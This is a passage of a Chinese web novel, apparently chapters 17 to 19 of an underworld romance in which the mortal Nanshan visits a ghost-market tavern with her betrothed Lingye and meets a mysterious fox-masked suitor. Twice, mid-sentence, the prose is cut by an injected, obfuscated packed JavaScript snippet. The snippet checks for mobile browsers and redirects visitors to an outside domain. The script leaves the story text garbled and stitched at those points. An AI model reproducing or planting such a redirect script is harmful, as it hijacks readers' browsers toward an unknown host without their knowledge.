更何况人家还给她买了一百件衣裳,整整一百件啊!她一辈子都没见过这么多衣裳,就是穿到进棺材也穿不完……南山一边反思自己,一边慢吞吞打开乾坤袋,因为开的时候心不在焉,不小心把袋子翻了过来,一百件衣裳就这么凭空出现,直接把她埋了起来。 “唔……救命……” 南山挣扎着从衣裳山里爬出来,刚喘了两口气就愣住了—— 她一辈子都没见过这么多……破烂衣裳,都是没染过的土黄粗布做的,每一件上都有大补丁,离她最近的是条裤子,看得出布料是新的,却还是故意糊了块格格不入的衬布,布上的花色像咧开的嘴,在无声嘲笑着她。 南山静默片刻,面无表情地把这些破烂儿塞回乾坤袋里。 18.第 18 章 虽然知道南山不肯和自己一起用晚膳,是出于姑娘家的矜持,但一想到她为了拒绝自己竟然说了那样拙劣的谎言,谎言被拆穿后竟然也不解释,灵晔就忍不住生气,以至于回到不夜阁后,第一次没能在戌时入睡。 不夜阁的夜明珠早已经熄了,防护的结界也自动开启,偌大的寝房黑暗且安静,是世上最安眠的好去处。 灵晔却没有睡意,冷着脸在床上翻来覆去,突然就做了一个决定—— 他要晾她几天,让她知道即便她救过他的命,即便他同意了这门婚事,也不会一味地迁就她。 一想到她会因为自己的突然冷淡而焦心忧虑,会像他此刻一样夜不能寐,甚至可能明日一早就忍不住来找自己道歉,灵晔心情突然舒展,良好的睡眠也回来了,盖好被子沉入香香的梦乡。 然而南山第二天并没有来找他道歉。 不仅没找他,还像以前一样该吃吃该睡睡,胃口还更好了些。灵晔气压沉沉,整日冷着脸,沧澜宫里人人退避三舍。 “……脸黑成这样,中毒了?”修养几日满血复活的止参,笑嘻嘻地跳进庭院里。 灵晔冷淡地看一眼不速之客,转身就要回屋。 止参从树上跳下来,闪身拦住他的去路:“兄弟我好不容易痊愈了,不陪我去诛月楼喝酒庆祝?” “没兴趣。”灵晔绕过他往屋里走。 “好吧,我去问问南山。”止参叹了声气往外走,刚走了没几步,发现某人已经与他并肩。 他张了张嘴,一脸茫然,“你不是不去吗?” “又想去了。”灵晔淡淡道。 “……行吧。”止参哭笑不得,一出了不夜阁,便要直接离开。 灵晔拦住他:“你是不是忘了什么?” “没忘……啊,你说南山啊,”止参恍然,“我是想着你不去的话我就问问她,你既然去了,就没必要问了吧。” 灵晔:“……” “你想带上她?”止参试探。 灵晔神色淡淡,刚要说不想,余光里便突然出现某人的身影。 止参也看见了,立刻打招呼:“南山!” 正打算偷偷溜走的南山扯了一下唇角,只好过来打招呼:“好巧啊。” “不巧,这是不夜阁。”灵晔定定看着她。 南山:“啊,不夜阁啊,我说你们怎么都在。” 她漫无目的地散步,没想到跑到这里来了。 听着她拙劣的借口,灵晔并没有打算当着止参的面点破,只是意味深长地说了句:“沧澜宫很大。” “啊?”南山没听懂。 灵晔别开脸,一副没什么耐心的样子,周身气息却明朗起来。 止参看看这个又看看那个,突然冲南山笑了笑:“我们打算去诛月楼喝酒,你去吗?” “我不喜欢喝酒。”南山皱眉。 止参:“那你喝别的,不喝也行,你可以看歌舞。” 南山有点心动:“还有歌舞可以看啊。” “去吗?”止参邀请。 南山很想去,但一想到是跟谁一起去,又觉得没那么想去了。 灵晔看出她的纠结,知道她很想和自己一起出去玩,但又怕他还在生气,所以才会这么犹豫不定。他静默片刻,最后决定看在她特意来不夜阁的份上大度点,不与她一般见识了。 “去吧,”他缓缓开口,“诛月楼的点心不错,饭菜也好吃,你可以试试。” 南山一听有好吃的,立刻两眼发亮:“好!” 她迫不及待地答应,像是一早就在等他的邀请。灵晔唇角浮起一点弧度,最后一点冷意也散了。 止参的视线在两人之间来回寻摸,结果越看越糊涂。 “到底是谁喜欢谁啊……”他嘀咕一句。 南山第一次出沧澜宫,第一次乘坐飞行法器,当船一样的物件载着她腾空而起时,她忍不住惊呼一声,下意识抓住了旁边人的衣袖。 “抓错人了。”灵晔不由分说地把止参的袖子抽走,强行往两个人中间挤。 南山和止参本来就站得近,他高高大大一坨突然挤进来,逼得两人都往旁边挪了一步。南山只顾着兴奋,懒得理会他突然的抽风,倒是止参像发现了什么稀奇玩意儿一样,一直盯着灵晔看。 “看什么?”灵晔神色不详,语气不佳。 止参清了清嗓子:“没事。” 诛月阁在鬼市最热闹处,今日三人来得突然,并未带精兵侍卫,只是提前传了卷轴过来,提前清场了。 飞行法器一落地,南山便从上面跳了下来,睁大了眼睛四处张望。 冥界的夜晚很热闹,目光所及之处都是商户,每一家都挂着红色的灯笼,红红火火的仿佛过年。 “走了。”灵晔提醒。 南山没听到,踮着脚还在四处看,两条麻花辫随着脖子扭动,也变得灵活起来。 灵晔眼眸微动,突然抬起手按在她的额头上,南山的脑袋被固定了,只能老老实实和他对视。 “干什么?”她眨了眨眼,黑亮的眼瞳里清晰地映着他的脸。 灵晔收回手:“走了。” 南山恍然,赶紧跟过去:“我们一定要去酒楼吗?要不去其他地方看看呢?我刚才发现有家点心铺子好多人都在排队,要不我们……” 诛月楼的门突然开了,劝说的话戛然而止。 “你想去哪?”灵晔问。 “没、没有……这里也挺好的。”南山看着金碧辉煌的酒楼和在空中飞舞的漂亮姑娘们,一时间看直了眼。 “傻愣着干嘛呢,还不上来?”不知何时上了二楼的止参,拿着一个空酒杯催促。 南山喜笑颜开:“来了来了!” 灵晔刚伸出手,想直接带她飞到二楼,她便已经拎起裙子跑了。伸到一半的手又收回来,他淡定地踏空而上。 南山跑到二楼时,灵晔已经在主位上坐下了。 “你怎么上来这么快?”南山惊讶地问一句,没等他回答,便被满桌子的美食吸引了,“哇!这都是什么?这个红的是什么?是花吗?这也能吃?这些都能吃?” “……又不是什么稀罕物,咱能别这么大惊小怪吗?”止参嫌丢人。 南山白了他一眼:“对不起了,这些对我来说就是稀罕物,不想让我大惊小怪,就别带我来啊。” “你还挺嚣张。”止参气笑了。 南山捏起一块荷花酥,咬了一口后心满意足:“太好吃了。” 一回头,发现灵晔正盯着自己看,南山犹豫一下,挑了块漂亮糕点给他:“吃吗?” 灵晔微微一怔。 止参嘁了一声:“别献殷勤了,我家少爷不到饭点是不会吃东……” 话没说完,灵晔就接过糕点咬了一口,止参直接傻眼了。 “你说什么?”南山刚才没听清他说的话。 止参无言良久,正准备说话时,一道娇俏的声音传了过来:“贵客们屈尊而来,奴家有失远迎,真是失礼了。” 南山循声看去,便看到一个花枝招展的漂亮女人笑盈盈走了过来。 “诛月阁的老板,艳鬼。”止参随口介绍。 艳什么?南山没听清,乖乖打招呼:“老板好。” “这位便是少主的凡人未婚妻吧,生得还真是清纯可人。”艳鬼笑了一声,突然俯身贴向南山的脖颈,用力吸了一口气,歪头,“奇怪,怎么没有生魂的气息。” 南山吓一跳,连连往后退,却不小心退到了灵晔的怀里。灵晔抬手扶住她的胳膊,冷淡地看向艳鬼。 艳鬼被他看得神情一僵,尴尬又胆怯地解释:“抱歉,就是一个没忍住……” 灵晔面无表情,似乎不打算就这么揭过。 止参察觉到气氛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“还有跳舞的这些人,你发现没,她们也没脚,”南山越说,声线越紧,“明知道你是冥界少主,还敢这么嚣张地出现在你面前,说明什么?说明她们根本不怕你!她们为什么不怕?因为她们很厉害!都是厉鬼!” 灵晔:“……” “怎么办怎么办,现在该怎么办……” 眼看她急成了热锅上的蚂蚁,灵晔神情愈发微妙,很想问问她来冥界这么久了,到底知不知道冥界的‘冥’字是什么意思,只是话还没到嘴边,手指突然被她用力抓住。 “你打得过她们吗?”南山刚才光顾着紧张,忘了问最重要的这件事。按道理来说,神仙是比鬼厉害的,可世间之事有时候也没那么讲道理,所以她才会如此焦虑。 灵晔沉默片刻,摇头:“打不过。” 南山倒抽一口冷气。 灵晔唇角浮起一点弧度,刚想说骗她的,她与他交握的手就突然变成了十指相扣。 “我数一二三,我们一起跑吧。”她眼神坚定,像要带着一腔孤勇私奔。 灵晔神情微动,问她:“要是跑不掉呢?” 南山怔了怔,好一会儿才艰难开口:“那、那我来负责吸引他们的注意力,你先跑。” 其实她更想让灵晔吸引注意力,可惜她一个凡人,跑出去也不认路,不知道怎么回沧澜宫求救,倒是灵晔,就算打不过这些厉鬼,身手也是不差的,完全可以用最短的时间搬来救兵。 “你一定要早点回来救我啊。”南山一想到自己被厉鬼包围的场景,不由得悲从中来。 灵晔定定看着她泛红的眼角看了许久,突然抬手抚上心口。 南山不解:“你怎么了?” “心跳有些急促,”灵晔蹙眉,“可能是近来没有按时药浴的缘故。” 诛月楼楼顶,倚在瓦片上赏月的男人突然笑了,月光一样倾泻的银灰长发随着身体颤动,露出几缕火红的发色。 他随意地抬手托着后脑,华丽的衣袖下滑露出手腕,红色的姻缘线也若隐若现。 19.第 19 章 “噗哈哈哈哈你都来这么久了,竟然连冥界是什么地方都不知道,简直叫人笑掉大牙……”止参扶着桌子,笑得上气不接下气。 南山板着脸反驳:“……我满打满算也才来了一个月左右,一半时间都躲在小院里,剩下那一半时间要么被困在雪原上,要么就每天一个人在沧澜宫散步,连个说话的人都没有,我不知道也正常吧。” 想她刚才那么认真地跟灵晔商量逃跑事宜,结果一直在偷听的止参突然笑得前仰后合,顺便向她解释了一下冥界究竟是什么地方。 托这人的福,南山花了半个时辰的时间,总算对冥界有了一个清晰的认知—— 用他们那边的话说,这里不是什么仙人住的地方,而是十八层地狱。 但和她知道的十八层地狱还不太一样,总体上和凡间差不多,有皇帝也有百姓,只是凡间的百姓都是人,这里大多数是鬼,同时还有一些外来的妖啊魔啊的。 所以灵晔也是鬼?南山抬头,看向日晷咔哒一声后就开始认真吃饭的男人,突然有点紧张。 “他不是。”止参一眼就看穿了她的想法。 南山顿了顿:“那他是?” “先冥后是凡人,他有一半凡人血脉。”止参解释。 南山想起在青石上看到的那个温婉女子,点头:“半人半鬼。” “倒也不能这么说,”止参斟酌反驳,“相比‘鬼’,我们更愿称自己为冥界之人,毕竟我们生来亦有呼吸有躯体,死后也会像凡人一样投胎转世,除了修炼一事上比大多数凡人更容易入门,其余的也没什么区别,你所说的鬼,更像是三界之人死后的魂魄。” 南山皱眉捧着茶杯:“太复杂了,听不懂。” 止参也拿起酒盅,随意在她杯子上碰了一下:“无所谓,总之你知道他不是鬼就好。” 南山撇了撇嘴,恰好有舞姬上前斟酒,她默默往灵晔那边缩了缩,好奇又谨慎地盯着舞姬看。 “少主夫人。”舞姬掩唇一笑,羞涩离去。 和凡人是没什么不同,就是没有脚,飘悠悠的看着吓人……但仔细想想,沧澜宫那些长着牛鼻子羊眼睛的侍卫婢女什么的,其实比没有脚的吓人多了。 “诛月楼里大部分都是凡人死后的魂魄,因为各种原因一直在冥界逗留,只有时机成熟时才能投胎转世,”止参笑够了,颇为耐心地为她讲解,“不过她们若是能在转世前将魂体炼出真身,便可拖上一段时间再入轮回。” 南山见他一直说转世的事,忍不住问:“你们这儿有奈何桥吗?” 止参轻嗤:“那是你们凡人胡编出来的东西。” 南山啊了一声:“那肯定也没有孟婆了。” “你说的这些,冥界都没有,却有一条轮回转世用的阴阳河,世间生灵,除却最低劣的魅魔朝生夕覆,其他的生而皆有魂魄,死后魂魄齐全,便可投胎新生,”止参将杯中酒一饮而尽,“历任冥主的职责,便是守护这条河,以保这世间生死交替、生生不息。” 南山悄悄看了灵晔一眼,见他还在专心吃饭,便偷偷把凳子往止参那边挪了挪:“照你这么说,冥主还有掌控生死的能力,那为什么……” 她又看了灵晔一眼,最后用眼神示意止参。 止参扯了一下唇角:“先冥后病重那段时间,冥主想过很多办法,但都无力回天,不过他确实有能力阻止先冥后转世,继续以魂体一家团聚……但他没这么做,少爷还因此怨过他几年来着。” “他为什么不这么做?”南山不懂,“一家团圆不好吗?” 止参耸耸肩:“我怎么知道。” 南山嘬了口甜甜的茶水,下一瞬突然和止参四目相对。 无言的安静后,止参缓缓开口:“我突然想起来一件事。” “什么?”南山耐心倾听。 止参:“你刚才跟少爷商量怎么逃跑的时候,是不是没打算带上我?” 南山:“……” “是吧?你是把我忘了吧?还是说没有忘,就是想把我扔在这儿当诱饵?”止参荒唐一笑,“孙南山你可真不讲义气,别忘了是谁先邀请你出来玩的?是谁特意让诛月楼准备一桌子点心的,又是谁……” “那什么,”南山见灵晔放下了筷子,赶紧拽住他的衣袖,“你你你不是要出去逛逛吗?我们现在就去?” 灵晔看着被她抓得皱巴巴的袖子,配合起身。 “走吧走吧。”南山连忙拉着他往外走。 止参在后面气急败坏:“滚回来!说清楚!” 南山跑得更快了,一直到冲出诛月楼好远才停下。 “没、没追来吧?”南山松开灵晔的手,扶着墙喘气。 灵晔回头看了一眼:“没有。” “那就好。”南山顿时放松下来。 灵晔:“为何要跑?” “你没听见他要找我算账……啊,你吃饭的时候什么都听不见。”南山等气儿喘匀了,这才看向四周。 随着夜幕加深,周围好像更热闹了些,街道上挤满了长得奇奇怪怪的人,嘻嘻哈哈的小孩子追逐打闹,有一个不小心从过路的羊角人身上穿过去,羊角人打了个颤,对着小孩骂了两句。 这样诡异的一幕,周围人却见怪不怪,最多是拉一把羊角人,让他别跟小孩子一般见识。 如果说之前关于冥界的一切,只是从止参口中听到,那此刻对于冥界就是鬼界的认知,就突然间深刻起来。南山看着满大街的人,心里止不住的冒凉气儿。 “哪家点心?”灵晔突然开口。 南山回神:“嗯?” “你先前提过的。”灵晔看着她的眼睛。 南山嘴唇动了动,突然伸手摸了一下他的脸。 热的,还真不是鬼。 灵晔被她突如其来的动作闹得一愣,随即发现有许多人往这边偷瞄,当即往旁边挪了半步,将南山的身影挡住:“就这么急切?” “什么?”南山左耳进右耳出,完全没听他在讲什么。 “罢了,随你,”灵晔面色和煦了些:“哪一家。” 南山顿了顿,对上他的视线后突然意识到,他还在问糕点的事……看来是不买不行了。 “那一家,”南山指了指排队的点心铺子,“但我没有钱,而且你确定冥界卖的糕点,我身为凡人也能吃吗?” “冥界之人也喜凡间美食,只要是挂着三角旗的铺子,吃食里都没有加灵力或药草,凡人也可以吃的。”灵晔说罢,便直接往点心铺子去了,走了几步后意识到某人没跟来,当即又停下脚步。 南山瞄一眼奇奇怪怪的人群,清了清嗓子道:“我跑累了,要不你帮我去买一下?” 太子爷怎么可能干替人跑腿的活儿,她这么一说,灵晔肯定要拒绝,那她就顺理成章地提出回沧澜宫。南山计划得挺好,可惜太子爷只问了句你想吃什么。 “啊……啊随便什么都行。” 灵晔点了点头,转身走了。 南山看着他走远,愣了半天才意识到,眼下又只剩她一个人了。 一个人……更可怕。 集市太过热闹,人声鼎沸,她就算扯着嗓子叫灵晔回来,灵晔估计也听不到,反而会吸引其他人的注意。南山瞄一眼刚从面前走过的阴沉路人,默默盘算从这里到灵晔身边的距离,发现不算远后,便提起一口气朝他狂奔而去。 “姑娘,你的东西掉了。” 身后突然传来清朗的声音,南山下意识停下,回头的瞬间,一抹鲜亮的颜色便撞进了视线里。 是一个高大的男人,穿着红色描金的鹤纹衣裳,衣裳也不知道是什么料子做的,在黯淡的夜幕之下,竟也流光溢彩,华丽得与周围格格不入。 男人宽肩窄腰,腰间挂着两块玉佩,手腕上还戴着四五个颜色各异的珠串,再往上是修长的脖颈,以及一张狐狸面具,面具只挡了上边半张脸,形状姣好的唇透着三分笑意,仿佛凡间玩世不恭的贵公子。 南山迟缓地眨了一下眼睛,还没有所反应,男人便已经走上前来,隔着面具含笑看她。南山这才发现,他的眼睛微微上挑,眼波流动间仿佛要把人的魂儿给勾了去,还有他的头发,竟然是银灰色的……哦,也不全是银灰,里头似乎还有几缕红发,冷清与火热掺杂,却意外的和谐。 他的头发……南山隐约感觉有什么从脑海一闪而过,可对上男人含笑的眼睛时,却又忘了个干净。 “这东西是你的吗?”男人笑问。 南山回神,有些不自在地挠了挠头:“什么东西?” 男人朝她伸出手,在她好奇的视线下打了个响指,指尖突然多出一朵红色的花。 南山轻呼一声,惊讶地看向他。 男人勾起唇角,将花别在她的耳后,又顺手给她理了一下快要散开的辫子:“这么漂亮的头发,怎么梳得乱糟糟的。” 温热的指尖隔着空气抚过,发丝轻动,带来一阵痒意,南山怔怔看着他华美的衣饰,突然有种自惭形秽的感觉。 她默默后退一步,正想说这花不是她的,远处突然传来灵晔的声音:“南山。” 南山下意识回头,看到灵晔后赶紧跑过去:“这么快就买完了?我看看买的什么。” 她低着头去拆灵晔手中的油纸包,红色的小花随着发丝一起舞动,灵晔将花揪下来,目露不解:“哪来的?” “嗯?”南山疑惑抬头,对上他的视线后啊了一声,“刚才有人说我掉了东西,然后突然……” 话还没说完,她已经转头看向墙角,却连一个人影也没看到。 什么情况? 南山看着空空荡荡的墙角,一时间眼睛都直了。 “看什么?”灵晔突然抬手,在她眼前晃了一下。 南山倒抽一口冷气后退,对上灵晔的视线后默默咽了下口水:“灵晔……” “嗯。” “我可能见鬼了。” 灵晔:“……” 无声对视良久,灵晔斟酌道:“冥界见鬼,也不算稀奇。” 像是为了印证他的话,他刚说完,南山耳边就吹来一股冷风。 “少主夫人……” “啊!” 南山尖叫着撞进灵晔怀里,灵晔后背一僵,刚抬起手要抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15038724|161943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,她便灵活地钻到了他的身后,一套连招丝滑快速,以至于灵晔的手僵在了半空。 施施然出现的艳鬼也没想到南山会有这么大的反应,轻咳一声娇笑上前:“少主夫人怎么这么快就走了,可是我诛月楼招待不周?” 南山干笑一声,忍不住瞄一眼她的裙底。 艳鬼恍然,转眼间就多了一双脚:“这样是不是就顺眼多了?” “……您随意就好。”南山哪敢跟她提意见。 艳鬼指尖捏诀,怀中平白多出一坛酒:“夫人第一次来,奴家实在也没什么拿得出手的,这是奴家亲自酿的酒,夫人若是不嫌弃的话就收下,算是奴家的谢礼。” “谢礼?”南山还躲在灵晔身后,闻言好奇地探出头来,“为什么要谢我?” 艳鬼干笑一声,没说冥界的罚酒都会注入灵力,轻则修为受损重则伤及性命,她方才免了自己的罚,等于救自己一条命。 “就当是奴家的一点心意,夫人可愿意收?”她含情脉脉。 南山一向喜欢好看的人儿,哪抵得住她这样的诱惑,当即大着胆子把酒抱了过来,艳鬼掩唇一笑,转眼就消失了。 “……再看看,还是觉得挺吓人的。”南山感慨。 灵晔扫了她一眼:“她酿的酒,你最好是别喝。” “为什么?”南山不解。 灵晔:“她喜欢加乱七八糟的东西。” 南山恍然,再看看镶满了宝石的酒坛,抱紧了:“我不喝,我留着。” 生怕他像上次抢降魔杵一样,把酒坛子也抢了。 灵晔见她这么宝贝,索性也不再多言。 虽然收了礼物,也和厉鬼有过‘正常的交谈’,但一直到回了沧澜宫,南山还有些心神不宁,尤其是发现周围越来越静时,心情便更是紧张。 跟灵晔道别后抱着酒坛慢吞吞往屋里走,她一边走一边警惕地观察四周环境,不小心踢到石子发出轻微响动,都能吓得一个激灵。 她光顾着疑神疑鬼了,以至于都进院子了,才发现某人还在后面跟着。 南山顿了顿,往前走一步,灵晔淡定地跟了一步,她再走一步,他就再跟。 眼看着要跟进屋了,南山忍不住问:“你不回去啊?” 灵晔没有回答,径直走进寝房后,房内的所有灯烛都无声自亮,他平静回眸,瞳孔里映着幽幽火光:“不是害怕?” 烛光之下,他眉眼矜贵,直直地与她对视,南山怔愣良久,才迟缓地眨了一下眼睛。 一刻钟后,铺床的宫人低头离开,灵晔躺下盖好被子,一扭头发现南山坐在床边刚打好的地铺上,正直勾勾地盯着自己看。 “不用谢。”他缓缓开口。 南山:“……”谁要谢你啊! 灵晔打了个响指,房中的灯烛刹那间灭了。 南山认命地倒在地铺上,胡乱拉过被子盖好。 这段时间睡惯了软床,乍一睡到硬邦邦的地上,只觉得哪哪都不舒服,再一想某人把她的床占了,心情就更加不妙。 万籁俱寂,只剩下隐隐的风声,南山想起今天那个突然出现又消失的狐狸面具男人,心头莫名生出一分凉意,正要再往被子里缩一缩时,床上突然垂下来一只手。 先前打地铺的时候,灵晔特意交代要紧贴着床铺,这会儿手垂下来,恰好落在南山的枕边。 “你可以握着我的手。”黑暗中,灵晔声音清澈。 南山心头一动,低声道:“不用了,也没那么怕。” 灵晔静默片刻,却没将手收回去:“那我等你入眠后再睡。” “谢谢。”南山有点惊讶于他的体贴。 一刻钟后,床上传出他均匀的呼吸声,一听就睡得很香。 南山无言片刻,没忍住笑了一声,也跟着闭上了眼睛。 灵晔的手始终垂在她的枕边,南山略一侧身,便能感受到他掌心的温度,一夜间竟然睡得还不错。 灵晔醒来时,就看到她枕着自己的手,一脸缱绻安宁的样子。 心跳又变快了,灵晔眼眸微动,觉得未必是最近怠于药浴的原因。 天亮了,昏暗的光线照进房中,南山半梦半醒间,隐约感觉到一双眼睛正在盯着自己,她眉头轻轻蹙了一下,想说灵晔你又想干什么,可话到嘴边怎么也说不出来,只好任由他继续看。 她本来还想再睡一会儿的,可惜被盯着的感觉实在太强烈,意识不自觉地开始回拢,最后眼皮一用力,便突然睁开了眼睛。 四目相对。 男人闲适地盘着腿,双手捧着脸笑眯眯地看着她,华丽宽大的衣袖因此堆叠在手肘处,漂亮的腕子上,是不加掩饰的一条红线。 南山看看男人俊美魅惑的脸,再看看他手腕上和灵晔全然一样的红线,看看他的脸,再看看他的手腕,最后默默把被子拉到头顶,祈祷灵晔快点出现。 被子被拉开,还是那张狐媚的脸。 南山舔了一下发干的嘴唇,勉强露出一个笑:“你、你是昨晚给我戴花的那个人。” “也是你的未婚夫,”男人勾起唇角,“之一。”